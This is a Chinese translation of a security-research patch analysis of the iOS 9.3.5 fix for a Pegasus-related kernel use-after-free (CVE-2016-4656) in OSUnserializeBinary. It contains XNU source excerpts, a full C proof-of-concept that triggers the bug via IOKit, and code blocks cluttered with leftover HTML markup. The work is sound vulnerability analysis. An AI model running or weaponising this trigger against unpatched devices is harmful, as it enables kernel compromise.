iOS三叉戟漏洞补丁分析、利用代码 公布(POC)

华盟原创文章投稿奖励计划

 

1.介绍

2016年8月25日,针对最近出现的iOS监视工具PEGASUS,苹果发布了重要的安全更新:iOS 9.3.5。与之前发现的iOS恶意软件不同,这个工具包使用了三个不同的iOS 0 day漏洞,可以让所有打了补丁(iOS 9.3.5之前的版本)的iOS设备妥协。不幸的是,有关这些漏洞的公开信息很少,这是因为Citizenlab and Lookout (漏洞发现者)和苹果已经决定对公众隐瞒细节。直到此时,他们仍没有向公众公开恶意软件样本,因此,独立地进行第三方分析是不可能完成的。

站在SektionEins的立场,我们认为向公众隐瞒已修复漏洞的细节并非正确的做法,由于我们在解决iOS内核问题上比较专业,于是决定来看看苹果发布的安全补丁,以找出被PEGASUS利用的漏洞。

 该事件前期相关报道、报告:

iOS 9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机(8月26日 13:41更新)

 

2.补丁分析

事实上,分析iOS安全补丁并没有我们当初想象得那么简单,因为iOS 9内核是以加密的形式被存储在设备中的(在固件文件中)。如果想获取解密后的内核,我们有两个选择:一种是拥有一个允许解密内核的低水平利用,另一种是破解存在问题的iOS版本,然后从核心内存里将它转储出来。我们决定使用第二种方法,我们在实验室内的iOS测试设备中,用自己的破解版本转储了iOS 9.3.4和iOS 9.3.5的内核。Mathew Solnik曾在一篇博客文章中对我们通常的做法有所描述,他透露说, 通过内核利用,我们可以从物理内存中转储完全解密的iOS内核。

转储出两个内核后,我们需要分析它们的差异。我们使用IDA中的开源二进制diffing插件Diaphora来完成这个任务,为了进行比较,我们将iOS 9.3.4内核加载到了IDA,然后等待自动分析完成,然后运用Diaphora将当前IDA数据库以同样的格式转储到SQLITE数据库。对于iOS 9.3.5内核,我们重复了一次这个过程,然后命令Diaphora比较两个数据库的差异。比较的结果可在以下的画面中看到:

01

 

Diaphora发现了iOS 9.3.5中的一些新函数。然而,其中大多数只是跳转目标发生了变化。从变动函数的列表中,我们可以明显看出OSUnserializeXML是其中最值得探究的函数。分析该函数的差异是非常困难的,因为相较于iOS 9.3.4,这个函数在iOS 9.3.5中已经发生了很大的改变(由于重新排序)。然而进一步的分析显示,它实际上还内联着另一个函数,通过观察XNU(类似于iOS内核)的源代码,找到漏洞似乎会变得较为容易。OS X 10.11.6内的XNU内核可以在opensource.apple.com上找到。

对代码进行调查后显示,内联函数实际上是OSUnserializeBinary。

OSObject*
OSUnserializeXML(const char *buffer, size_t bufferSize, OSString **errorString)
{
        if (!buffer) return (0);
        if (bufferSize < sizeof(kOSSerializeBinarySignature)) return (0);
        if (!strcmp(kOSSerializeBinarySignature, buffer)) return OSUnserializeBinary(buffer, bufferSize, errorString);
        // XML must be null terminated
        if (buffer[bufferSize - 1]) return 0;
        return OSUnserializeXML(buffer, errorString);
}

 

3.OSUnserializeBinary

OSUnserializeBinary是添加到OSUnserializeXML上的相对较新的代码,主要负责处理二进制序列化数据。这个函数接触到用户输入的方式与OSUnserializeXML相同。由于IOKit API允许对参数进行序列化,因此攻击者只需调用任意的IOKit API(或mach API),就可以滥用它们。同时,该漏洞也可以从iOS或OS X上任意沙箱的内部触发。

这个新函数的源代码位于libkern/c++/OSSerializeBinary.cpp,因此可以直接审查,不用确切地分析苹果应用的补丁。这个新的序列化格式的二进制格式并不是很复杂,它由一个32位标识符作为数据头,其次是32位对齐标记和数据对象。

支持以下数据类型:

·Dictionary

·Array

·Set

·Number

·Symbol

·String

·Data

·Boolean

·Object (reference to previously deserialized object)

 

二进制格式将这些数据类型编码成24-30位。较低的24位被作为数值数据保留下来,例如存储长度或集合元素计数器。第31位标志着集合的最后一个元素,其他的所有数据(字符串、符号、二进制数据、数字)占用了四字节,对齐到datastream。下文列出的POC就是一个例子。

4.漏洞

现在,找出漏洞变得较为简单了,因为它类似于之前PHP函数unserialize()中的use after free 漏洞, SektionEins此前曾在PHP.net将该漏洞披露出来。OSUnserialize()内的漏洞也出自相同的原因:在反序列化过程中,反序列化器可以对先前释放的对象创建引用。

每个对象在经过反序列化后,都会被添加到一个对象目录中。代码是这样的:

[code lang="c"]if (!isRef)
{
        setAtIndex(objs, objsIdx, o);
        if (!ok) break;
        objsIdx++;
}[/code]

这是不安全的,而PHP也犯过同样的错误,这是因为setAtIndex()宏不会让对象的引用计数增加,你可以在这里看到:

[code lang="c"] define setAtIndex(v, idx, o)
if (idx >= v##Capacity)
{
uint32_t ncap = v##Capacity + 64;
typeof(v##Array) nbuf = (typeof(v##Array)) kalloc_container(ncap * sizeof(o));
if (!nbuf) ok = false;
if (v##Array)
{
bcopy(v##Array, nbuf, v##Capacity * sizeof(o));
kfree(v##Array, v##Capacity * sizeof(o));
}
v##Array = nbuf;
v##Capacity = ncap;
}
if (ok) v##Array[idx] = o; <---- remember object WITHOUT COUNTING THE REFERENCE [/code]

在反序列化过程中,如果没有一种合法释放对象的方式,那么不记录v##Array内的引用数将不会出现什么问题。不巧的是,至少有一种代码路径允许在反序列化过程中释放对象。你可以从下面的代码中看到,字典元素的处理支持OSSymbol和OSString key,然而在OSString key的情形下,它们会在OSString对象损坏后转换至OSSymbol,而在OSString对象破坏时,它已经被添加到了theobjs对象表。

[code lang="c"]</pre>
<code class="cpp keyword bold">if</code> <code class="cpp plain">(dict)</code></div>
<div class="line number2 index1 alt1"><code class="cpp plain">{</code></div>
<div class="line number3 index2 alt2"><code class="cpp spaces">        </code><code class="cpp keyword bold">if</code> <code class="cpp plain">(sym)</code></div>
<div class="line number4 index3 alt1"><code class="cpp spaces">        </code><code class="cpp plain">{</code></div>
<div class="line number5 index4 alt2"><code class="cpp spaces">                </code><code class="cpp plain">DEBG(</code><code class="cpp string">"%s = %s\n"</code><code class="cpp plain">, sym->getCStringNoCopy(), o->getMetaClass()->getClassName());</code></div>
<div class="line number6 index5 alt1"><code class="cpp spaces">                </code><code class="cpp keyword bold">if</code> <code class="cpp plain">(o != dict) ok = dict->setObject(sym, o, </code><code class="cpp keyword bold">true</code><code class="cpp plain">);</code></div>
<div class="line number7 index6 alt2"><code class="cpp spaces">                </code><code class="cpp plain">o->release();</code></div>
<div class="line number8 index7 alt1"><code class="cpp spaces">                </code><code class="cpp plain">sym->release();</code></div>
<div class="line number9 index8 alt2"><code class="cpp spaces">                </code><code class="cpp plain">sym = 0;</code></div>
<div class="line number10 index9 alt1"><code class="cpp spaces">        </code><code class="cpp plain">}</code></div>
<div class="line number11 index10 alt2"><code class="cpp spaces">        </code><code class="cpp keyword bold">else</code></div>
<div class="line number12 index11 alt1"><code class="cpp spaces">        </code><code class="cpp plain">{</code></div>
<div class="line number13 index12 alt2"><code class="cpp spaces">                </code><code class="cpp plain">sym = OSDynamicCast(OSSymbol, o);</code></div>
<div class="line number14 index13 alt1"><code class="cpp spaces">                </code><code class="cpp keyword bold">if</code> <code class="cpp plain">(!sym && (str = OSDynamicCast(OSString, o)))</code></div>
<div class="line number15 index14 alt2"><code class="cpp spaces">                </code><code class="cpp plain">{</code></div>
<div class="line number16 index15 alt1"><code class="cpp spaces">                    </code><code class="cpp plain">sym = (OSSymbol *) OSSymbol::withString(str);</code></div>
<div class="line number17 index16 alt2"><code class="cpp spaces">                    </code><code class="cpp plain">o->release();  <---- destruction of OSString object that is already in objs table</code></div>
<div class="line number18 index17 alt1"><code class="cpp spaces">                    </code><code class="cpp plain">o = 0;</code></div>
<div class="line number19 index18 alt2"><code class="cpp spaces">                </code><code class="cpp plain">}</code></div>
<div class="line number20 index19 alt1"><code class="cpp spaces">                </code><code class="cpp plain">ok = (sym != 0);</code></div>
<div class="line number21 index20 alt2"><code class="cpp spaces">        </code><code class="cpp plain">}</code></div>
<div class="line number22 index21 alt1"><code class="cpp plain"><code class="cpp plain">}</code></code>
<pre>[/code]

  因此,用kOSSerializeObject数据类型来创建已损坏的OSString对象的引用是可行的,这是一个典型的use after free漏洞。

 5.POC

找出了问题后,我们创建了一个简单的POC来触发这个漏洞,下面的图中就是POC。你可以在OS X上试试(因为它和iOS有一样的漏洞)。

[code lang="c"]</pre>
<code class="cpp comments">/*</code></div>
<div class="line number2 index1 alt1"><code class="cpp spaces"> </code><code class="cpp comments">* Simple POC to trigger CVE-2016-4656 (C) Copyright 2016 Stefan Esser / SektionEins GmbH</code></div>
<div class="line number3 index2 alt2"><code class="cpp spaces"> </code><code class="cpp comments">* compile on OS X like:</code></div>
<div class="line number4 index3 alt1"><code class="cpp spaces"> </code><code class="cpp comments">*    gcc -arch i386 -framework IOKit -o ex exploit.c</code></div>
<div class="line number5 index4 alt2"><code class="cpp spaces"> </code><code class="cpp comments">*/</code></div>
<div class="line number6 index5 alt1"><code class="cpp preprocessor">#include <unistd.h></code></div>
<div class="line number7 index6 alt2"><code class="cpp preprocessor">#include <stdlib.h></code></div>
<div class="line number8 index7 alt1"><code class="cpp preprocessor">#include <stdio.h></code></div>
<div class="line number9 index8 alt2"><code class="cpp preprocessor">#include <mach/mach.h></code></div>
<div class="line number10 index9 alt1"><code class="cpp preprocessor">#include <IOKit/IOKitLib.h></code></div>
<div class="line number11 index10 alt2"><code class="cpp preprocessor">#include <IOKit/iokitmig.h></code></div>
<div class="line number12 index11 alt1"><code class="cpp spaces"> </code></div>
<div class="line number13 index12 alt2"><code class="cpp keyword bold">enum</code></div>
<div class="line number14 index13 alt1"><code class="cpp plain">{</code></div>
<div class="line number15 index14 alt2"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeDictionary   = 0x01000000U,</code></div>
<div class="line number16 index15 alt1"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeArray        = 0x02000000U,</code></div>
<div class="line number17 index16 alt2"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeSet          = 0x03000000U,</code></div>
<div class="line number18 index17 alt1"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeNumber       = 0x04000000U,</code></div>
<div class="line number19 index18 alt2"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeSymbol       = 0x08000000U,</code></div>
<div class="line number20 index19 alt1"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeString       = 0x09000000U,</code></div>
<div class="line number21 index20 alt2"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeData         = 0x0a000000U,</code></div>
<div class="line number22 index21 alt1"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeBoolean      = 0x0b000000U,</code></div>
<div class="line number23 index22 alt2"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeObject       = 0x0c000000U,</code></div>
<div class="line number24 index23 alt1"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeTypeMask     = 0x7F000000U,</code></div>
<div class="line number25 index24 alt2"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeDataMask     = 0x00FFFFFFU,</code></div>
<div class="line number26 index25 alt1"><code class="cpp spaces">  </code><code class="cpp plain">kOSSerializeEndCollecton = 0x80000000U,</code></div>
<div class="line number27 index26 alt2"><code class="cpp plain">};</code></div>
<div class="line number28 index27 alt1"><code class="cpp spaces"> </code></div>
<div class="line number29 index28 alt2"><code class="cpp preprocessor">#define kOSSerializeBinarySignature "\323\0\0"</code></div>
<div class="line number30 index29 alt1"><code class="cpp spaces"> </code></div>
<div class="line number31 index30 alt2"><code class="cpp color1 bold">int</code><code class="cpp plain">main()</code></div>
<div class="line number32 index31 alt1"><code class="cpp plain">{</code></div>
<div class="line number33 index32 alt2"><code class="cpp spaces">  </code><code class="cpp color1 bold">char</code><code class="cpp plain">* data = </code><code class="cpp functions bold">malloc</code><code class="cpp plain">(1024);</code></div>
<div class="line number34 index33 alt1"><code class="cpp spaces">  </code><code class="cpp plain">uint32_t * ptr = (uint32_t *) data;</code></div>
<div class="line number35 index34 alt2"><code class="cpp spaces">  </code><code class="cpp plain">uint32_t bufpos = 0;</code></div>
<div class="line number36 index35 alt1"><code class="cpp spaces">  </code><code class="cpp plain">mach_port_t master = 0, res;</code></div>
<div class="line number37 index36 alt2"><code class="cpp spaces">  </code><code class="cpp plain">kern_return_t kr;</code></div>
<div class="line number38 index37 alt1"><code class="cpp spaces"> </code></div>
<div class="line number39 index38 alt2"><code class="cpp spaces">  </code><code class="cpp comments">/* create header */</code></div>
<div class="line number40 index39 alt1"><code class="cpp spaces">  </code><code class="cpp functions bold">memcpy</code><code class="cpp plain">(data, kOSSerializeBinarySignature, </code><code class="cpp keyword bold">sizeof</code><code class="cpp plain">(kOSSerializeBinarySignature));</code></div>
<div class="line number41 index40 alt2"><code class="cpp spaces">  </code><code class="cpp plain">bufpos += </code><code class="cpp keyword bold">sizeof</code><code class="cpp plain">(kOSSerializeBinarySignature);</code></div>
<div class="line number42 index41 alt1"><code class="cpp spaces"> </code></div>
<div class="line number43 index42 alt2"><code class="cpp spaces">  </code><code class="cpp comments">/* create a dictionary with 2 elements */</code></div>
<div class="line number44 index43 alt1"><code class="cpp spaces">  </code><code class="cpp plain">*(uint32_t *)(data+bufpos) = kOSSerializeDictionary | kOSSerializeEndCollecton | 2; bufpos += 4;</code></div>
<div class="line number45 index44 alt2"><code class="cpp spaces">  </code><code class="cpp comments">/* our key is a OSString object */</code></div>
<div class="line number46 index45 alt1"><code class="cpp spaces">  </code><code class="cpp plain">*(uint32_t *)(data+bufpos) = kOSSerializeString | 7; bufpos += 4;</code></div>
<div class="line number47 index46 alt2"><code class="cpp spaces">  </code><code class="cpp plain">*(uint32_t *)(data+bufpos) = 0x41414141; bufpos += 4;</code></div>
<div class="line number48 index47 alt1"><code class="cpp spaces">  </code><code class="cpp plain">*(uint32_t *)(data+bufpos) = 0x00414141; bufpos += 4;</code></div>
<div class="line number49 index48 alt2"><code class="cpp spaces">  </code><code class="cpp comments">/* our data is a simple boolean */</code></div>
<div class="line number50 index49 alt1"><code class="cpp spaces">  </code><code class="cpp plain">*(uint32_t *)(data+bufpos) = kOSSerializeBoolean | 64; bufpos += 4;</code></div>
<div class="line number51 index50 alt2"><code class="cpp spaces">  </code><code class="cpp comments">/* now create a reference to object 1 which is the OSString object that was just freed */</code></div>
<div class="line number52 index51 alt1"><code class="cpp spaces">  </code><code class="cpp plain">*(uint32_t *)(data+bufpos) = kOSSerializeObject | 1; bufpos += 4;</code></div>
<div class="line number53 index52 alt2"><code class="cpp spaces"> </code></div>
<div class="line number54 index53 alt1"><code class="cpp spaces">  </code><code class="cpp comments">/* get a master port for IOKit API */</code></div>
<div class="line number55 index54 alt2"><code class="cpp spaces">  </code><code class="cpp plain">host_get_io_master(mach_host_self(), &master);</code></div>
<div class="line number56 index55 alt1"><code class="cpp spaces">  </code><code class="cpp comments">/* trigger the bug */</code></div>
<div class="line number57 index56 alt2"><code class="cpp spaces">  </code><code class="cpp plain">kr = io_service_get_matching_services_bin(master, data, bufpos, &res);</code></div>
<div class="line number58 index57 alt1"><code class="cpp spaces">  </code><code class="cpp functions bold">printf</code><code class="cpp plain">(</code><code class="cpp string">"kr: 0x%x\n"</code><code class="cpp plain">, kr);</code></div>
<div class="line number59 index58 alt2"><code class="cpp plain"><code class="cpp plain">}</code></code>
<pre>[/code]

  6.利用

因为我们才刚刚分析了这个问题,所以还没有来得及对这个漏洞开发出一种利用。但是我们随后会为这个漏洞开发出一种完全可行的利用,今年的晚些时候,我们会在柏林的iOS内核开发培训课程上将它展示出来。

 该事件前期相关报道、报告:

iOS 9.3.5紧急发布背后真相:NSO使用iPhone 0day无需点击远程攻破苹果手机(8月26日 13:41更新)

本文原创,作者:congtou,其版权均为华盟网所有。如需转载,请注明出处:https://www.77169.net/html/23399.html